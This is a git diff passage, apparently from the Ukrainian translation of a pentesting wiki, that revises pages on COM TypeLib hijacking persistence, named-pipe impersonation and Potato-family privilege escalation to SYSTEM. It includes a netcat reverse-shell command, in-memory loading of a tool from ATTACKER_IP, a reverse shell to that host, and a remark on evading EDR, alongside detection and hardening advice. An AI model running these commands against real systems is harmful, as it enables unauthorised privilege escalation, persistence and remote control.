TypeLib path на локальний scriptlet, використовуючи монікер `script:` (права адміністратора не потрібні): ```powershell $dest = 'C:\\ProgramData\\Udate_Srv.sct' New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" ``` -3) Скинути мінімальний JScript `.sct`, який перезапускає ваш основний payload (наприклад, `.lnk`, який використовується початковим ланцюгом): +3) Розмістіть мінімальний JScript `.sct`, який перезапускає ваш основний payload (наприклад `.lnk`, який використовується початковим ланцюжком): ```xml @@ -114,7 +114,7 @@ sh.Run(cmd, 0, false); ``` -4) Спрацьовування – відкриття IE, програми, яка вбудовує WebBrowser control, або навіть звичайна активність Explorer завантажить TypeLib та виконає scriptlet, повторно активуючи ваш ланцюжок при logon/reboot. +4) Активація – відкриття IE, програми, що вбудовує WebBrowser control, або навіть звичайна активність Explorer завантажить TypeLib і виконає scriptlet, повторно активуючи ваш chain при logon/reboot. Очищення ```powershell @@ -127,7 +127,7 @@ Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null - Ви можете застосувати ту саму логіку до інших часто використовуваних COM компонентів; завжди спочатку визначайте реальний `LIBID` з `HKCR\CLSID\{CLSID}\TypeLib`. - На 64-bit системах ви також можете заповнити підключ `win64` для 64-bit споживачів. -## Посилання +## Джерела - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 07b593c3f..c2cdb7167 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,27 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation — це примітив локального підвищення привілеїв, який дозволяє серверному потоку named-pipe прийняти контекст безпеки клієнта, який підключається до нього. На практиці, атака, що може виконувати код з правами SeImpersonatePrivilege, може змусити привілейований компонент (наприклад, службу SYSTEM) підключитися до контрольованого атакуючим pipe, викликати ImpersonateNamedPipeClient, продублювати отриманий токен у primary token і запустити процес від імені клієнта (часто NT AUTHORITY\SYSTEM). +Named Pipe client impersonation — це примітив локального підвищення привілеїв, який дозволяє потоку сервера іменованого каналу прийняти контекст безпеки клієнта, що підключається до нього. Насправді, атакуючий, який може виконувати код з SeImpersonatePrivilege, може примусити привілейований клієнт (наприклад, сервіс SYSTEM) підключитися до керованого атакуючим pipe, викликати ImpersonateNamedPipeClient, дублювати отриманий токен у primary token і запустити процес від імені клієнта (часто NT AUTHORITY\SYSTEM). -Ця сторінка зосереджена на основній техніці. Для повних ланцюжків експлойтів, що змушують SYSTEM підключитися до вашого pipe, див. сторінки родини Potato, згадані нижче. +Ця сторінка зосереджена на основній техніці. Для повних експлойт-чейнів, які змушують SYSTEM підключатися до вашого pipe, див. сторінки сімейства Potato, зазначені нижче. ## Коротко -- Create a named pipe: \\.\pipe\ і очікуйте підключення. -- Змусіть привілейований компонент підключитися до нього (spooler/DCOM/EFSRPC/etc.). -- Прочитайте принаймні одне повідомлення з pipe, після чого викличте ImpersonateNamedPipeClient. -- Відкрийте impersonation token поточного потоку, DuplicateTokenEx(TokenPrimary) та використайте CreateProcessWithTokenW/CreateProcessAsUser для отримання процесу SYSTEM. +- Створити named pipe: \\.\pipe\ і чекати на підключення. +- Змусити привілейований компонент підключитися до нього (spooler/DCOM/EFSRPC/etc.). +- Прочитати принаймні одне повідомлення з pipe, потім викликати ImpersonateNamedPipeClient. +- Відкрити impersonation token поточного потоку, DuplicateTokenEx(TokenPrimary) та CreateProcessWithTokenW/CreateProcessAsUser щоб отримати процес SYSTEM. ## Вимоги та ключові API -- Привілеї, що зазвичай потрібні викликаючому процесу/потоку: -- SeImpersonatePrivilege для успішної імперсонації підключеного клієнта та для використання CreateProcessWithTokenW. -- Альтернативно, після імперсонації SYSTEM, можна використати CreateProcessAsUser, що може вимагати SeAssignPrimaryTokenPrivilege і SeIncreaseQuotaPrivilege (ці права задовольняються, коли ви імперсонували SYSTEM). +- Привілеї, які зазвичай потрібні викликаючому процесу/потоку: +- SeImpersonatePrivilege щоб успішно імпостерувати підключеного клієнта і використовувати CreateProcessWithTokenW. +- Альтернативно, після імпостерування SYSTEM, можна використовувати CreateProcessAsUser, що може вимагати SeAssignPrimaryTokenPrivilege і SeIncreaseQuotaPrivilege (ці привілеї задовольняються, коли ви імпостеруєте SYSTEM). - Основні API, що використовуються: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (треба прочитати принаймні одне повідомлення перед імперсонацією) +- ReadFile/WriteFile (потрібно прочитати принаймні одне повідомлення перед імпостеруванням) - ImpersonateNamedPipeClient та RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) - CreateProcessWithTokenW або CreateProcessAsUser -- Рівень імперсонації: щоб виконувати корисні дії локально, клієнт повинен дозволяти SecurityImpersonation (за замовчуванням для багатьох локальних RPC/named-pipe клієнтів). Клієнти можуть понижувати це, використовуючи SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION при відкритті pipe. +- Рівень імпостерування: щоб виконувати корисні локальні дії, клієнт має дозволяти SecurityImpersonation (типово для багатьох локальних RPC/named-pipe клієнтів). Клієнти можуть знизити це, передавши SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION при відкритті pipe. ## Мінімальний Win32 робочий процес (C) ```c @@ -70,10 +70,10 @@ return 0; ``` Примітки: - Якщо ImpersonateNamedPipeClient повертає ERROR_CANNOT_IMPERSONATE (1368), переконайтеся, що ви спочатку читаєте з pipe і що клієнт не обмежив impersonation до Identification level. -- Віддавайте перевагу DuplicateTokenEx з SecurityImpersonation і TokenPrimary для створення первинного токена, придатного для створення процесу. +- Віддавайте перевагу DuplicateTokenEx з SecurityImpersonation і TokenPrimary для створення primary token, придатного для створення процесу. ## .NET швидкий приклад -У .NET NamedPipeServerStream може виконувати impersonate через RunAsClient. Після impersonate дублюйте thread token і створіть процес. +У .NET NamedPipeServerStream може impersonate через RunAsClient. Після impersonation продублюйте thread token і створіть процес. ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Загальні тригери/примуси, щоб отримати SYSTEM до вашого pipe -Ці техніки примушують привілейовані служби підключитися до вашого named pipe, щоб ви могли impersonate їх: +## Поширені тригери/примуси, щоб доставити SYSTEM на ваш pipe +Ці техніки примушують привілейовані служби підключитися до вашої named pipe, щоб ви могли impersonate them: - Print Spooler RPC trigger (PrintSpoofer) - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) -See detailed usage and compatibility here: +Детальне використання та сумісність див. тут: - {{#ref}} @@ -110,27 +110,27 @@ roguepotato-and-printspoofer.md juicypotato.md {{#endref}} -If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see: +Якщо вам потрібен повний приклад створення pipe і impersonating, щоб spawn SYSTEM з service trigger, див.: - {{#ref}} from-high-integrity-to-system-with-name-pipes.md {{#endref}} -## Усунення проблем і нюанси -- Потрібно прочитати щонайменше одне повідомлення з pipe перед викликом ImpersonateNamedPipeClient; інакше ви отримаєте ERROR_CANNOT_IMPERSONATE (1368). +## Налагодження та підводні камені +- Ви повинні прочитати принаймні одне повідомлення з pipe перед викликом ImpersonateNamedPipeClient; інакше отримаєте ERROR_CANNOT_IMPERSONATE (1368). - Якщо клієнт підключається з SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, сервер не зможе повністю impersonate; перевірте рівень impersonation токена через GetTokenInformation(TokenImpersonationLevel). -- CreateProcessWithTokenW вимагає наявності SeImpersonatePrivilege у викликача. Якщо це невдається з ERROR_PRIVILEGE_NOT_HELD (1314), використовуйте CreateProcessAsUser після того, як ви вже impersonated SYSTEM. -- Переконайтеся, що security descriptor вашого pipe дозволяє цільовій службі підключатися, якщо ви його посилюєте; за замовчуванням, pipes під \\.\pipe доступні згідно з DACL сервера. +- CreateProcessWithTokenW вимагає SeImpersonatePrivilege у викликача. Якщо це завершується ERROR_PRIVILEGE_NOT_HELD (1314), використайте CreateProcessAsUser після того, як ви вже impersonated SYSTEM. +- Переконайтесь, що security descriptor вашого pipe дозволяє цільовій службі підключитися, якщо ви його підсилюєте; за замовчуванням, pipe під \\.\pipe доступні відповідно до DACL сервера. -## Виявлення та hardening -- Моніторьте створення та підключення named pipe. Sysmon Event IDs 17 (Pipe Created) і 18 (Pipe Connected) корисні для встановлення базової лінії легітимних імен pipe і виявлення незвичних, випадковоподібних pipe перед подіями маніпуляції токенами. -- Шукайте послідовності: процес створює pipe, служба SYSTEM підключається, потім процес-створювач породжує дочірній процес у контексті SYSTEM. -- Зменшіть ризик, видаливши SeImpersonatePrivilege з неключових облікових записів служб та уникаючи непотрібних логонів служб з високими привілеями. -- Захисна розробка: при підключенні до ненадійних named pipe вказуйте SECURITY_SQOS_PRESENT з SECURITY_IDENTIFICATION, щоб перешкодити серверам повністю impersonate клієнта, якщо це не потрібно. +## Виявлення та захист +- Моніторте створення named pipe і підключення. Sysmon Event IDs 17 (Pipe Created) та 18 (Pipe Connected) корисні для складання бази легітимних імен pipe і виявлення незвичних, випадковоподібних pipe перед подіями маніпуляцій з токеном. +- Шукайте послідовності: процес створює pipe, служба SYSTEM підключається, після чого процес-створювач породжує дочірній процес як SYSTEM. +- Зменшіть ризик, видаливши SeImpersonatePrivilege з неважливих облікових записів служб і уникаючи непотрібних логонів служб з високими привілеями. +- Захисна розробка: при підключенні до ненадійних named pipe вказуйте SECURITY_SQOS_PRESENT з SECURITY_IDENTIFICATION, щоб запобігти повному impersonate серверів клієнта, якщо це не потрібно. -## References -- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient -- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation +## Посилання +- Windows: ImpersonateNamedPipeClient documentation (вимоги до impersonation та поведінка). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- ired.team: Windows named pipes privilege escalation (покрокове керівництво та приклади коду). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 48c5cd7d2..0eb16776f 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato не працює** на Windows Server 2019 та Windows 10 build 1809 і новіших версіях. Однак [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** можуть бути використані, щоб **отримати ті ж привілеї та доступ рівня `NT AUTHORITY\SYSTEM`**. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) детально розглядає інструмент `PrintSpoofer`, який можна використовувати для зловживання правами імперсонації на хостах Windows 10 та Server 2019, де JuicyPotato більше не працює. +> **JuicyPotato не працює** на Windows Server 2019 і Windows 10 build 1809 та новіших версіях. Однак [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** можуть бути використані для отримання тих же привілеїв і підвищення до рівня доступу `NT AUTHORITY\SYSTEM`. Цей [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) детально описує інструмент `PrintSpoofer`, який можна використовувати для зловживання impersonation privileges на хостах Windows 10 і Server 2019, де JuicyPotato більше не працює. > [!TIP] -> Сучасною альтернативою, яка часто підтримується в 2024–2025 роках, є SigmaPotato (форк GodPotato), який додає використання in-memory/.NET reflection та розширену підтримку ОС. Дивіться швидке використання нижче та репозиторій у References. +> Сучасна альтернатива, яка регулярно підтримується у 2024–2025, — SigmaPotato (форк GodPotato), який додає in-memory/.NET reflection використання та розширену підтримку ОС. Див. швидке використання нижче та репо в References. Related pages for background and manual techniques: @@ -24,23 +24,23 @@ privilege-escalation-abusing-tokens.md ## Вимоги та поширені підводні камені -Усі наведені нижче техніки засновані на зловживанні службою з привілеями, що дозволяє імперсонацію, з контексту, який має одну з наступних привілеїв: +Всі наступні техніки залежать від зловживання привілейованою службою, яка підтримує impersonation, з контексту, що має один із цих привілеїв: -- SeImpersonatePrivilege (найчастіше) або SeAssignPrimaryTokenPrivilege -- High integrity не потрібен, якщо токен вже має SeImpersonatePrivilege (типово для багатьох облікових записів служб, таких як IIS AppPool, MSSQL тощо) +- SeImpersonatePrivilege (найпоширеніший) або SeAssignPrimaryTokenPrivilege +- Високий рівень цілісності не потрібен, якщо токен вже має SeImpersonatePrivilege (типово для багатьох сервісних акаунтів, таких як IIS AppPool, MSSQL тощо) Швидко перевірте привілеї: ```cmd whoami /priv | findstr /i impersonate ``` -Операційні нотатки: +Operational notes: -- PrintSpoofer потребує, щоб сервіс Print Spooler був запущений і доступний через локальний RPC-ендпоінт (spoolss). В ускладнених середовищах, де Spooler вимкнено після PrintNightmare, надавайте перевагу RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato вимагає OXID resolver, доступний по TCP/135. Якщо вихідний трафік заблокований, використовуйте redirector/port-forwarder (див. приклад нижче). Старіші збірки потребували прапора -f. +- PrintSpoofer потребує, щоб сервіс Print Spooler був запущений і доступний через локальний RPC-ендпоінт (spoolss). У захищених середовищах, де Spooler вимкнено після PrintNightmare, віддавайте перевагу RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato вимагає OXID resolver, доступного на TCP/135. Якщо egress заблоковано, використовуйте redirector/port-forwarder (див. приклад нижче). Старіші збірки вимагали прапорця -f. - EfsPotato/SharpEfsPotato зловживають MS-EFSR; якщо один pipe заблоковано, спробуйте альтернативні pipe (lsarpc, efsrpc, samr, lsass, netlogon). -- Помилка 0x6d3 під час RpcBindingSetAuthInfo зазвичай означає невідомий/непідтримуваний RPC authentication service; спробуйте інший pipe/transport або переконайтесь, що цільовий сервіс запущений. +- Помилка 0x6d3 під час RpcBindingSetAuthInfo зазвичай вказує на невідомий/непідтримуваний RPC authentication service; спробуйте інший pipe/transport або переконайтеся, що цільовий сервіс запущено. -## Швидка демонстрація +## Швидке демо ### PrintSpoofer ```bash @@ -58,8 +58,8 @@ NULL ``` Примітки: -- Ви можете використовувати -i, щоб запустити інтерактивний процес у поточній консолі, або -c для виконання one-liner. -- Потребує служби Spooler. Якщо вона вимкнена, це не вдасться. +- Ви можете використовувати -i, щоб створити інтерактивний процес у поточній консолі, або -c, щоб виконати однорядкову команду. +- Потребує службу Spooler. Якщо вона відключена, це не спрацює. ### RoguePotato ```bash @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Якщо вихідний порт 135 заблоковано, pivot OXID resolver через socat на вашому redirector: +Якщо outbound 135 заблоковано, перенаправте OXID resolver через socat на вашому redirector: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -Порада: Якщо один pipe не працює або EDR його блокує, спробуйте інші підтримувані pipes: +Порада: Якщо один pipe не спрацьовує або EDR його блокує, спробуйте інші підтримувані pipe: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -129,7 +129,7 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato надає два варіанти, що націлені на service DCOM objects, які за замовчуванням мають RPC_C_IMP_LEVEL_IMPERSONATE. Скомпілюйте або використайте надані binaries і запустіть вашу команду: +DCOMPotato надає два варіанти, що націлені на DCOM-об'єкти служби, які за замовчуванням використовують RPC_C_IMP_LEVEL_IMPERSONATE. Зберіть або використайте надані бінарні файли та запустіть вашу команду: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (оновлений форк GodPotato) +### SigmaPotato (updated GodPotato fork) -SigmaPotato додає сучасні зручності, як-от in-memory execution через .NET reflection і PowerShell reverse shell helper. +SigmaPotato додає сучасні зручності, такі як in-memory execution через .NET reflection та PowerShell reverse shell helper. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -148,15 +148,15 @@ SigmaPotato додає сучасні зручності, як-от in-memory ex # Or ask it to spawn a PS reverse shell [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444")) ``` -## Примітки щодо виявлення та посилення захисту +## Примітки щодо виявлення та захисту -- Моніторте процеси, що створюють named pipes і одразу викликають API для дублювання токенів, а потім CreateProcessAsUser/CreateProcessWithTokenW. Sysmon може надати корисну телеметрію: Event ID 1 (створення процесу), 17/18 (named pipe створено/підключено) та командні рядки, що порождають дочірні процеси як SYSTEM. -- Посилення захисту Spooler: Вимкнення служби Print Spooler на серверах, де вона не потрібна, запобігає локальним зловживанням у стилі PrintSpoofer через spoolss. -- Посилення безпеки облікових записів сервісів: мінімізуйте призначення SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege для кастомних сервісів. Розгляньте запуск сервісів під virtual accounts з мінімально необхідними правами та ізоляцію за допомогою service SID і write-restricted tokens, коли це можливо. -- Мережеві контролі: Блокування вихідного TCP/135 або обмеження трафіку RPC endpoint mapper може зламати RoguePotato, якщо не доступний internal redirector. -- EDR/AV: Усі ці інструменти широко сигнатуровані. Перекомпіляція з вихідників, перейменування символів/рядків або виконання в пам'яті може зменшити виявлення, але не подолає надійні поведінкові детекції. +- Моніторьте процеси, які створюють іменовані пайпи та одразу викликають token-duplication APIs, а потім CreateProcessAsUser/CreateProcessWithTokenW. Sysmon може надати корисну телеметрію: Event ID 1 (створення процесу), 17/18 (іменований пайп створено/підключено) та командні рядки, що породжують дочірні процеси від імені SYSTEM. +- Spooler hardening: Вимкнення служби Print Spooler на серверах, де вона не потрібна, перешкоджає атакам на локальне підвищення привілеїв у стилі PrintSpoofer через spoolss. +- Service account hardening: Мінімізуйте призначення SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege кастомним сервісам. Розгляньте запуск сервісів під віртуальними обліковими записами з мінімально необхідними привілеями та ізоляцією за допомогою service SID і токенів з обмеженням на запис, коли це можливо. +- Network controls: Блокування вихідних TCP/135 або обмеження трафіку RPC endpoint mapper може зламати RoguePotato, якщо не доступний внутрішній редиректор. +- EDR/AV: Всі ці інструменти широко підписані сигнатурами. Перекомпіляція з вихідників, перейменування символів/рядків або виконання в пам'яті може знизити виявлення, але не обійде надійні поведінкові детекції. -## Посилання +## Джерела - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) - [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)